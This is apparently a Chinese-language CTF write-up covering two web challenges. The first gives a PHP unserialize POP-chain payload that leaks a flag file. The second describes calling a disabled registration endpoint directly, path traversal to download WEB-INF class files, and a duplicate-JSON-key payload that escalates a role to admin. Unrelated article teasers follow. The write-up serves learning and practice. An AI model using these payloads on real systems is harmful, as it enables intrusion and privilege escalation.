黄河流域web

news2025/4/27 14:18:52

1、UNSER的

<?php
highlight_file(__FILE__);   
class Wel
{
    public $fast;
    public $star;
    public function __construct()
    {
        $this->fast = "free_toto";
        echo "what?";
    }
    public function __destruct()
    {
        $content = $this->star;
        printf ($content);
    }
   public function CTF(){
        echo "welcome!!!";
    }
}
class Database
{
    public $hostname = "127.0.0.1";
    public $dbuser = "root";
    public $dbpass = "root";
    public $database;
    public $str;
    public $challange;
    public function __construct($database)
    {
        $this->database = $database;
    }
    public function __invoke()
    { 
        function welcome(){
            echo "do_it";
        }
        $this->str->open($this->database);
    }
}
class Flag
{
    public $file;
    public $params;
    public function __construct()
    {
        $this->file = array();
    }
    public function __toString()
    {
        return $this->getfunction();  
    }
    public function getfunction()
    {
        $func = $this->params;
        echo "you win??";
        $func();
    }
}
$files = scandir('./');
    foreach($files as $file) {
        if(is_file($file)){
            if ($file == "fl@g.php") {
                $con = file_get_contents('/flag');
                echo $con;
                unlink($file);
            }
        }
    }
$exp = $_GET['noway'];
unserialize($exp);

打开是一个序列化与反序列化的题目,首先分析一下代码

首先定义了Wel 这个类,并在其中定义了两个公共属性 $fast$star。构造函数初始化 $fast 并输出 "what?"。析构函数在对象销毁时调用,它会打印 $star 的内容。CTF 方法输出 "welcome!!!"。

Database 类定义了一些数据库相关的属性和一个构造函数来初始化 $database 属性。__invoke 方法(当尝试以调用函数的方式调用一个对象时,__invoke() 方法会被自动调用)定义了一个局部函数 welcome 并尝试调用 $this->str 对象的 open 方法

Flag 类包含两个公共属性 $file$params。构造函数初始化 $file 为一个空数组。__toString 方法会返回 getfunction 方法的结果。getfunction 方法调用 $params 中保存的函数。

这段代码扫描当前目录的文件。如果存在名为 fl@g.php 的文件,读取 /flag 文件的内容并打印,然后删除 fl@g.php,然后从 GET 请求中获取 noway 参数的值,并将其反序列化为PHP对象

用到的魔术方法:

__construct(): 当一个对象创建时被调用

__destruct():销毁时触发

__invoke():当脚本尝试将对象调用为函数时触发

__toString():当对象被转换为字符串时自动调用

参考其他wp构造payload:

<?php
  
class Wel
{
    public $fast;
    public $star;
    public function __construct()
    {
        $this->fast = "free_toto";
        echo "what?";
    }
    
}
class Database
{
    public $hostname = "127.0.0.1";
    public $dbuser = "root";
    public $dbpass = "root";
    public $database;
    public $str;
    public $challange;
    public function __construct($database)
    {
        $this->database = $database;
    }
    
}
class Flag
{
    public $file;
    public $params;
    public function __construct()
    {
        $this->file = array();
    }
}
class SQLite3{

}
$A = new Wel();
$A ->star = new Flag();
$A ->star ->params = new Database("fl@g.php");
$A ->star ->params ->str = new SQLite3("fl@g.php");
echo serialize($A);
?>
  • 类定义

    • Wel 类:
      • 包含两个属性:faststar
      • 构造函数初始化 fast 属性,并输出字符串 "what?"。
    • Database 类:
      • 包含多个属性:hostnamedbuserdbpassdatabasestrchallange
      • 构造函数初始化 database 属性。
    • Flag 类:
      • 包含两个属性:fileparams
      • 构造函数初始化 file 属性为一个空数组。
    • SQLite3 类:
      • 定义为空,没有任何属性或方法。
  • 对象创建和属性赋值

    • 创建 Wel 类的实例 $A
    • $Astar 属性赋值为 Flag 类的实例。
    • Flag 实例的 params 属性赋值为 Database 类的实例,参数为 "fl@g.php"
    • Database 实例的 str 属性赋值为 SQLite3 类的实例,参数同样为 "fl@g.php"

2、两步验证:

打开页面是一个登录框,首先想到的爆破,抓包尝试。

抓包后没有有用信息,尝试点击注册页面但是被禁止了,没有什么思路,参考一下大佬的wp。

题目界面为一登录框,发现 sign up 功能被禁用,但可以访问,先尝试抓包然后改包。这里涉及到功能重用漏洞。

功能重用(Function Reuse)漏洞:

功能重用(Function Reuse)漏洞是指攻击者利用某个功能在不同场景下的调用不当,导致原本受限制的操作被绕过。这类漏洞通常出现在一个功能在不同的上下文中被重复使用,但在不同上下文中没有进行适当的权限控制或参数验证。(即API接口或Web应用程序中的某个功能虽然在UI上被禁用或隐藏,但仍然可以通过直接发送请求来访问。)

通常出现在以下几种场景:
  • 某个受限功能(如注册、文件上传、管理操作等)在不同的上下文中被调用,但没有进行适当的权限检查。
  • 前端页面隐藏或禁用某些操作,但实际的 API 接口仍然可以被访问和利用。

所以此时可以直接通过bp抓包后直接向端点发送请求。

post请求中有一个login,因为刚刚尝试打开注册页面,功能被禁用但是可以打开,符合功能重用漏洞,应该抓包后直接将端口连接到注册功能,把方法改为register。

显示注册成功。将包重传后尝试登录。

登录后有四个跳转页面只有download部分可以打开,打开后抓包查看下载上传功能。

参考别的wp,这里的file=../../static/cat.gif提示了文件下载路径,想到任意文件读取,又因为这个题是java语言,所以需要学习一下java的war包结构。

任意文件读取:

漏洞是一种Web应用安全漏洞,允许攻击者读取服务器上任意文件的内容。此类漏洞通常是由于应用程序未能正确验证用户输入,导致文件路径或文件名可以由用户控制,从而读取任意文件。

任意文件读取的常见场景:
  1. 文件包含(File Inclusion):例如,在PHP应用中使用includerequirefile_get_contents等函数时,没有正确过滤用户输入,导致可以通过构造路径读取服务器上的任意文件。
  2. 文件下载功能:提供文件下载功能时,没有正确限制可下载文件的范围,导致攻击者可以下载任意文件。
  3. 日志查看功能:日志查看功能没有正确过滤用户输入,允许攻击者读取任意文件。
漏洞利用步骤:
  1. 找到注入点:找到可以控制文件路径的参数。
  2. 构造恶意输入:构造输入以读取敏感文件,如/etc/passwd(Linux系统)或C:\Windows\System32\drivers\etc\hosts(Windows系统)。
  3. 发送请求并读取响应:发送恶意请求并读取响应中的文件内容。

一个典型的WAR包结构如下:

myapp.war
├── META-INF/
│   └── MANIFEST.MF
├── WEB-INF/
│   ├── classes/
│   │   └── com/
│   │       └── example/
│   │           └── MyServlet.class
│   ├── lib/
│   │   └── some-library.jar
│   ├── web.xml
├── index.html
└── styles.css

  • META-INF/:包含包的元数据,如MANIFEST.MF文件。
  • WEB-INF/:包含Web应用程序的私有文件,这些文件不会直接暴露给用户。
    • classes/:存放编译后的Java类文件(.class)。
    • lib/:存放应用程序所需的JAR文件(库)。
    • web.xml:Web应用程序的部署描述符,用于配置Servlet、过滤器等。
  • 其他文件和目录:Web应用程序的公共资源,如HTML文件、CSS文件、JavaScript文件等。

查看web.xml,

定义了各种 Servlet 和 Filter 以及它们的 URL 映射。这段代码展示了多个 Servlet 的定义及其映射路径,以及一个 Filter 的定义和映射路径,把这几个类的代码都下载下来。

../../WEB-INF/classes/com/web/servlet/registerServlet.class

打开后是乱码,需要用到java反编译器,用jd-gui打开查看源码。

理解代码,大致意思就是实现用户的注册与登录。参考大佬的思路,这里的问题是出在上传文件这里,但是上传文件的权限需要admin,所以尝试从代码入手,更改权限。

发现权限的值在注册部分

  • 正则表达式匹配 role 字段:

    • 使用正则表达式 PatternMatcher 来查找 JSON 数据中的 "role":"..." 部分。
    • matcher.find() 会查找下一个匹配项,并将其赋值给 role 变量。
  • 判断 role 是否为空:

    • StringUtils.isNullOrEmpty(role) 判断 role 是否为空或者为 null
    • 如果 role 不为空(用户试图指定 role 字段),则将其替换为 "role":"guest",然后使用 gson 库将 JSON 数据反序列化为 Person 对象。
  • 处理没有 role 字段的情况:

    • 如果 role 为空,则直接将 JSON 数据反序列化为 Person 对象,并手动设置 roleguest

那么首要目标是绕过Role需要是admin的验证

registerServlet.class,会对注册时的post参数,即data={"username":"admin","password":"admin"}

\"role\":\"(.*?)\"正则匹配,匹配到"role":"xxx"就会替换成"role":"guest",如果没有role,则设置role为guest,所以必须让while循环里的role有值,使得if条件成立

构造payload:

data={"username":"admin","password":"admin","role":"test","role"/**/:"admin"}

在while处匹配到"role":"test",匹配不到"role"/**/:"admin",进到if条件里,替换的是"role":"test",json解析时遇到重复的role键时,会使用最后一个role键值对,最终"role":"admin"

不知道怎么回事一直上传不成功,再去学习一下。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1823091.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Prometheus写入influxDB:中间件remote_storage_adapter

Prometheus写入influxDB&#xff1a;中间件remote_storage_adapter prometheus默认采用的是本地磁盘做数据存储&#xff0c;本地存储的优势就是运维简单但是缺点就是无法海量的metrics持久化和数据存在丢失的风险,数据写入可能造成wal文件损坏导致采集数据无法再写入的问题。 …

5.4.Python 装饰器与语法糖

1. 装饰器 1.1 装饰器简介 装饰器的作用: 对函数进行装饰, 添加新的功能. 装饰器的原则: 开发封闭原则, 对扩展开放, 对修改封闭. 封闭: 已现实的功能代码块不应该被修改. 开放: 对现有功能的拓展开放. 在不改变被装饰对象内部代码以及调用方式的基础上为函数添加新的功能.1.…

Java课程设计:基于swing的学生信息管理系统

文章目录 一、项目介绍二、项目展示三、源码展示四、源码获取 一、项目介绍 这款Java swing实现的学生信息管理系统和jsp版本的功能很相似&#xff0c;简单的实现了班级信息的增删改查&#xff0c;学生信息的增删改查&#xff0c;数据库采用的是mysql&#xff0c;jdk版本不限&…

fuel无人机自主探索代码解读3——fast_exploration_fsm.cpp【状态机】

一、概述 fast_exploration_fsm.cpp订阅实时定位和目标点信息&#xff0c;每隔0.01s执行一次状态机&#xff0c;进行状态切换&#xff1b;每隔0.05s执行一次碰撞检测&#xff0c;按需进行重新规划&#xff1b;每0.5s执行一次边界回调定时器&#xff0c;对于处于WAIT_TRIGGER和…

nacos注册中心配置中心

文章目录 1.Nacos安装与简单使用1.1. Nacos安装指南Windows安装下载安装包解压端口配置启动访问 Linux安装安装JDK上传安装包解压端口配置启动 1.2.服务注册到nacos使用步骤引入依赖配置nacos地址重启 示例父工程pom.xmluser-servicepom.xmlapplication.ymlUserApplicationUser…

杨校老师项目之基于SpringBoot的理发店的预约管理系统

原系统是SSMJSP页面构成&#xff0c;先被修改为SpringBoot JSP页面 自助下载渠道: https://download.csdn.net/download/kese7952/89417001&#xff0c;或 点我下载 理发师信息&#xff1a; 理发师详细信息 公告信息 员工登录&#xff1a; 管理员登录

Python的网络请求

自学python如何成为大佬(目录):https://blog.csdn.net/weixin_67859959/article/details/139049996?spm1001.2014.3001.5501 在上一节中多次提到了URL地址与下载网页&#xff0c;这两项是网络爬虫必备而又关键的功能&#xff0c;说到这两个功能必然会提到HTTP。本节将介绍在P…

关于投标中的合理均价基准差径靶心法(KIMI回答)

投标中的合理靶心法到底是什么呢&#xff1f;用了KIMI来进行回答&#xff1a;

python-jenkins调用流水线设置“丢弃旧的构建”(discard old builds)

背景 Jenkins任务执行&#xff0c;随之构建次数增多&#xff0c;构建日志所占磁盘大小不断增大&#xff0c;需要配置清除策略。 而 discard old builds 就是配置丢弃旧的构建&#xff1b;若是我们使用python-jenkins 调用修改配置该如何设置&#xff1f; 调用设置 这里是按…

液晶拼接屏企业应该采取哪些措施来提升整体竞争力和市场地位呢?

步入智能科技时代以来&#xff0c;商显行业面对着各式各样的挑战&#xff0c;人工智能、AI大模型等整合中&#xff0c;液晶拼接屏企业应该采取哪些措施以提升整体竞争力和市场地位。下面小编个人观点简单说一下&#xff1b;下是一些关键的措施&#xff1a; 首先&#xff0c;加…

web端即时通信技术

web端即时通信技术 对于IM/消息推送这类即时通讯系统而言&#xff0c;系统的关键就是“实时通信”能力。所谓实时通信有以下两层含义 客户端可以主动向服务端发送信息。 当服务端内容发生变化时&#xff0c;服务端可以实时通知客户端。 HTTP局限 Http是客户端/服务器模式中…

Linux文件系统讲解!

一、Linux文件系统历史 1、在早期的时候Linux各种不同发行版拥有自己各自自定义的文件系统层级结构。 2、当我用Red hat转向玩Debian时&#xff0c;我进入/etc我都是懵的。 3、后来Linux社区做了一个标准、FHS&#xff08;文件系统标准层次结构&#xff09;。来帮助Linux系统的…

Android 13 高通设备热点低功耗模式(2)

前言 之前写过一篇文章:高通热点被IOS设备识别为低数据模式,该功能仿照小米的低数据模式写的,散发的热点可以达到被IOS和小米设备识别为低数据模式。但是发现IOS设备如果后台无任何网络请求的时候,息屏的状态下过一会,会自动断开热点的连接。 分析 抓取设备的热点相关的…

windows下编译linux的go程序报错gcc_linux_amd64.c: In function ‘_cgo_sys_thread_start‘:

报错解决 执行报错 报错解决 其他补充 windows下编译linux 64位程序 set GOARCHamd64 set GOOSlinux set CGO_ENABLED0 go build手把手教你实现Golang跨平台编译 报错解决其他补充windows下编译linux 64位程序Windows下编译Mac平台64位可执行程序&#xff1a;Linux 下编译…

NewspaceAi之GPT使用新体验

GPT功能 使用地址&#xff1a;https://newspace.ai0.cn/ 上车 挂挡 踩油门&#xff0c;一脚到底&#xff0c;开始你的表演 问题1&#xff1a;你能做什么详细告诉我&#xff1f; 下面内容是GPT的回答 当然&#xff01;作为一个基于GPT-4架构的AI&#xff0c;我能够在许多方面为…

成功在服务器liunx-ubantu上安装pytorch

sudo pip3 install torch torchvision torchaudio --index-url https://download.pytorch.org/whl/cu118参考链接&#xff1a; 教程&#xff08;部分参考&#xff09; Pytorch官网

算法设计与分析 实验1 算法性能分析

一、实验目的 1、掌握选择排序、冒泡排序、合并排序、快速排序、插入排序算法原理 2、掌握不同排序算法时间效率的经验分析方法&#xff0c;验证理论分析与经验分析的一致性。 二、实验概述 排序问题要求我们按照升序排列给定列表中的数据项&#xff0c;目前为止&#xff0c…

kafka原理简介

Kafka是由LinkedIn开发的一个分布式发布/订阅的消息系统和一个强大的队列&#xff0c;使用Scala编写&#xff0c;它以可扩展和高吞吐率而被广泛使用。 Kafka适合离线和在线消息消费。 Kafka消息保留在磁盘上&#xff0c;并在群集内以master-flower方式实现数据同步&#xff0c;…

RPA-UiBot6.0控制与运行机器人 —工作任务智能调度自动运行

前言 来也产品文档中心 来也产品文档中心 (laiye.com)https://documents.laiye.com/ 友友们你们是否曾因为例行性工作的繁琐而苦恼&#xff1f;是否想要让机器人帮你自动执行这些任务&#xff1f;小北的这篇博客将为友友们揭示其中的奥秘&#xff0c;让我们一起学习如何通过RP…

动手学深度学习33 单机多卡并行

单机多卡并行 更多的芯片 https://courses.d2l.ai/zh-v2/assets/pdfs/part-2_2.pdf 多GPU训练 https://courses.d2l.ai/zh-v2/assets/pdfs/part-2_3.pdf 当transformer模型很大&#xff0c;有100GB的时候只能用模型并行。 数据并行&#xff0c;拿的参数是完整的&#xff1f…